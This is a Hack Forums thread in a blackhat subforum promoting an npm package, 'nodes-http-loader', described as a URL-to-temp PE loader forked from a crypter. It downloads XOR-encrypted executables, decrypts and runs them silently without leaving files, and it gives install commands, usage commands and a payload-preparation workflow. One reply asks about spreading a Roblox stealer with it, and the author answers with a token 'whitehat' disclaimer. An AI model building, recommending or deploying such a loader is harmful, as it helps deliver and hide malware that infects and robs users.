Hack Forums
[Legends] nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Cryptography, Encryption, and Decryption (https://hackforums.net/forumdisplay.php?fid=126)
+---- Thread: [Legends] nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js (/showthread.php?tid=6311924)

nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - Hackers - Oct 22, 2025






nodes-http-loader

A zero-dependency Node.js package to download, decrypt, and run programs from URLs using XOR encryption.
nodes-http-loader nodes-http-loader


TERMS OF SERVICE:
- No illegal use cases, no greyhat use cases, no blackhat use cases.
- If I'm contacted to provide info about you, I will comply :) so don't
- You agree to not hold me socially accountable for your prison sentence
- You agree that you will refund me for any legal costs incurred due to your TOS violation, or general use of the software
- You agree to follow all local, domestic, or international laws & regulations, as well as any TOS for Node.js, NPM, or other related services or packages

Code
npm install nodes-http-loader


Now available on npm: https://www.npmjs.com/package/nodes-http-loader





Features
  • Download any executable program from a URL

  • Decrypt and run programs directly — no intermediate files

  • Direct execution: download, decrypt, and run in one command

  • Silent by default — no console output unless using --debug

  • Cross-platform — works on Windows, macOS, and Linux

  • Argument passing supported

  • Automatic cleanup of temporary files

  • Zero dependencies — uses only native Node.js modules

  • Prepare workflow to encrypt and distribute local binaries securely




Installation
Code
npm install -g nodes-http-loader
Or install locally:
Code
npm install nodes-http-loader
(Requires Node.js 14+ or later)



Quick Start

1. Download and run a program directly:
Code
nodes-http-loader https://example.com/program mysecretkey

2. Prepare a local binary for upload:
Code
nodes-http-loader prepare ./myapp mysecretkey

Upload prepared.bin to your server

nodes-http-loader https://yourserver.com/prepared.bin mysecretkey

3. Run with arguments:
Code
nodes-http-loader https://example.com/program mysecretkey arg1 arg2


Usage

Method 1: Direct Download and Execution
Code
npx nodes-http-loader <url> <key> [args...]
npx nodes-http-loader --debug <url> <key> [args...] # With debug output

If installed globally:
Code
nodes-http-loader <url> <key> [args...]
nodes-http-loader --debug <url> <key> [args...]

Examples:
Code
nodes-http-loader https://github.com/user/repo/releases/download/v1.0.0/app mysecretkey
nodes-http-loader https://example.com/program mykey
nodes-http-loader https://example.com/program mykey arg1 arg2 "argument with spaces"
nodes-http-loader --debug https://example.com/program mykey

Quote:Downloads the program, decrypts it, and runs it directly without leaving any intermediate files.
All remote files must first be encrypted using the prepare command.


Method 2: Preparing a Binary for Upload
Code
nodes-http-loader prepare <binary> <key> [output]

Examples:
Code
nodes-http-loader prepare ./myapp mysecretkey
nodes-http-loader prepare ./myapp mysecretkey encrypted-app.bin

Workflow:
  1. Prepare your binary: nodes-http-loader prepare ./myapp mysecretkey

  2. Upload the generated prepared.bin to your web server

  3. Run it remotely: nodes-http-loader https://yourserver.com/prepared.bin mysecretkey




Use Cases
  • Direct execution from GitHub Releases or CDNs

  • Secure distribution via XOR encryption

  • Offline preparation of encrypted binaries

  • Version management — quick updates with new uploads

  • Remote deployment without installation

  • Argument passing for dynamic program execution




Security Notes
  • Encryption via XOR with your runtime key

  • No persistent key or decrypted file left on disk

  • Use only with trusted sources and URLs

  • Automatic cleanup after execution

  • 100% native Node.js — no third-party modules




Troubleshooting

"spawn ENOEXEC" Error
  • File is not executable or corrupted

  • Ensure correct encryption key

  • Verify with prepare command



"File Not Found"
  • Confirm that the URL is correct and accessible

  • Check that the file exists on the server



"Permission Denied"
  • On Unix: executable flag is set automatically

  • On Windows: ensure a valid .exe file



Network Issues
  • Timeout: 360 seconds

  • Check network or firewall settings



Local Test Example
This assumes you have Node.js & Python. This would encrypt a hello world script with XOR key, then start a local server to deliver local files (to you only) via python, and then we can test the nodes-http-loader package against the localhost (port 8000 in example). You don't need python to use nodes-http-loader. This is only an example in case you don't have a quick way to upload your test file.
Code
echo '#!/bin/bash\necho "Hello World!"' > test.sh
chmod +x test.sh
nodes-http-loader prepare test.sh mykey
cd project/folder && python3 -m http.server 8000 &
nodes-http-loader http://localhost:8000/prepared.bin mykey


License & Credits
License: MIT
Author: LNodesL
https://www.npmjs.com/package/nodes-http-loader

Cross-platform • Lightweight • Secure • Instant execution


Version 1.0.1:
https://www.npmjs.com/package/nodes-http-loader/v/1.0.1
( https://www.npmjs.com/package/nodes-http-loader )

https://github.com/LNodesL/nodes-http-loader/commit/047730fb3f1a7ff31b461aae3f083a799771b88f
( https://github.com/LNodesL/nodes-http-loader )


AI generated formatting for the thread.



nodes-http-loader nodes-http-loader


RE: nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - DramaKing - Oct 23, 2025

Shouldn't it be called the ENKI-HTTP-LOADER? 😋 Nice work as usual.

RE: nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - Hackers - Oct 23, 2025

(Oct 23, 2025 07:20 AM)DramaKing Wrote:  Shouldn't it be called the ENKI-HTTP-LOADER? 😋 Nice work as usual.

Thanks :)

I thought about it, but I like the SEO benefits of nodes- for this. I saw some random activity on nodes-crypter and I think it's partially because of the keyword use...

https://www.npmjs.com/package/nodes-crypter/v/1.0.6

nodes-http-loader is a fork of nodes-crypter, but instead of generating a final run.js file for the TMP loader (to use manually / elsewhere), it takes a URL source (instead of local file) and runs automatically.

I made a few other improvements though. nodes-crypter needs a new version (1.0.7) technically... I dislike how I set that one up. Sloppy and not as good as it could be.

I will swap to enki- branding for some things, but Git, npm, and pip are all under LNodesL (or similar).
Any chance you'll take me off ignore? Sorry for any drama or arguing in the past :)
I like your posts

RE: nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - williamkirm - Nov 18, 2025

Hey, bro! I wanted to ask you about the HTTP loader you posted in the thread.
Do you think it makes sense to use it to distribute Roblox Stealer via Roblox Executor? Sorry for my bad English, I'm a bad coder and a bad trafficker.

RE: nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - Hackers - Nov 18, 2025

(Nov 18, 2025 01:48 PM)williamkirm Wrote:  Hey, bro! I wanted to ask you about the HTTP loader you posted in the thread.
Do you think it makes sense to use it to distribute Roblox Stealer via Roblox Executor? Sorry for my bad English, I'm a bad coder and a bad trafficker.

That violates my TOS, so no it does not make sense. This is a whitehat tool for ease of use, not for malware.

RE: nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - williamkirm - Nov 18, 2025

(Nov 18, 2025 01:53 PM)nodes Wrote:  That violates my TOS, so no it does not make sense. This is a whitehat tool for ease of use, not for malware.

Oops, sorry bro, thanks for the answer

RE: nodes-http-loader * URL->tmp PE loader * Node.js/npm package * No-dependency Node.js - Hackers - Mar 16, 2026

(Nov 18, 2025 01:54 PM)williamkirm Wrote:  Oops, sorry bro, thanks for the answer

No problem!

Happy to help answer any other questions if anyone has any :)